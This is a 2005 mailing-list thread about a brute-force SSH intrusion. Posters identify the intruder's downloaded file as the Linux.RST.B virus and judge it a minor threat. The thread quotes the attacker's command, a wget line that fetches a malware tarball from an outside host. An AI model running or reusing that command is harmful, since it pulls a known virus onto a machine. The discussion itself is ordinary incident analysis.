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Re: brute force ssh attack



Gustavo Seabra wrote:
On 4/27/05, Håkan Persson <hakan zyberit com> wrote:

Daniel Kirsten wrote:


wget www.ring.as.ro/x/qwe.tgz



This is what Symantec thinks of the content of the file: http://securityresponse.symantec.com/avcenter/venc/data/linux.rst.b.html

/Håkan


Well, so much for the "do not wory about viruses in Linux machines" stories...


Number of infections 0-49, number of sites 0-2 - over 3 years. Wow, it's speading like wildfire... help, help!

It has no escalation mechanism, so can only infect ELF files to which the user infected has write permission.

Threat ~0.


-- Nigel Wade, System Administrator, Space Plasma Physics Group, University of Leicester, Leicester, LE1 7RH, UK E-mail : nmw ion le ac uk Phone : +44 (0)116 2523548, Fax : +44 (0)116 2523555


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